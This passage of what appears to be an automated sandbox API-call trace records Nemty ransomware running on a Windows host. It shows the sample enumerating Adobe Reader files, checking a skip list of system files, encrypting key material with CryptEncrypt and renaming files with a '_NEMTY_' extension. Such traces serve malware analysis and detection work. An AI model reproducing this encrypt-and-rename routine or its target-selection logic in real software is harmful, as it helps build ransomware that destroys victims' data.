lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.918] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0210.924] CloseHandle (hObject=0xffffffff) returned 0 [0210.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0210.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0210.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0210.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0210.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0210.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0210.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.924] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbk-euc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbk-euc._nemty_kgobjgd_")) returned 0 [0210.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0210.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0210.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0210.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0210.925] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3022b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBpc-EUC", cAlternateFileName="UCS2-G~2")) returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2=".") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="..") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="...") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="windows") returned -1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="$RECYCLE.BIN") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="rsa") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="NTDETECT.COM") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="ntldr") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="MSDOS.SYS") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="IO.SYS") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="boot.ini") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="boot.ini") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="AUTOEXEC.BAT") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="ntuser.dat") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="desktop.ini") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="CONFIG.SYS") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="RECYCLER") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="BOOTSECT.BAK") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="bootmgr") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="programdata") returned 1 [0210.925] lstrcmpiW (lpString1="UCS2-GBpc-EUC", lpString2="appdata") returned 1 [0210.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBpc-EUC", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBpc-EUC", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-GBpc-EUC", lpUsedDefaultChar=0x0) returned 13 [0210.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBpc-EUC", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBpc-EUC", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-GBpc-EUC", lpUsedDefaultChar=0x0) returned 13 [0210.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBpc-EUC", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBpc-EUC", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-GBpc-EUC", lpUsedDefaultChar=0x0) returned 13 [0210.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBpc-EUC", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBpc-EUC", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-GBpc-EUC", lpUsedDefaultChar=0x0) returned 13 [0210.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0210.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0210.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0210.926] Sleep (dwMilliseconds=0x5) [0210.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x315e4410, dwHighDateTime=0x1d561e8)) [0210.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x315e4410, dwHighDateTime=0x1d561e8)) [0210.941] GetLastError () returned 0x5 [0210.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0210.941] GetLastError () returned 0x5 [0210.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0210.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.941] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0210.941] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0210.941] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0210.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0210.942] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="OFIWwqEiaJspbXO/qWYHOg72m3gi9+ZoFd9Gn1ZIkMb2MyNt41RP+9rHkZV00XHl\r\nRefY55eoDvxVNch/Ux6RdDq43hUlJ9IJ/ZbyoQ2IigpkK9/DaioX2y8V4cdCm2lf\r\nO7EgjlqPks+JwxqrNFyduvMJUvcCzMqFJiQGg74aGHt8bWNRkYLn1e2ees1L7xif\r\nivoV7Pm97c3wldp2FfHWuOu9/ovMkd1FqAwom8Labon359zmLd/Xa25w+TobsG+O\r\nsB+HsIm9EdFlOJNU8wP0j4brQFK+Jh+dOEjv5/0fAtdKiTPZ4opbJePU2RldFujW\r\ncK7Ll5EuS2LjcYe3kw03eQ==\r\n", pcchString=0x653e91c) returned 1 [0210.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0210.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0210.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0210.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0210.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbpc-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0210.943] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0210.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0210.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.019] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, 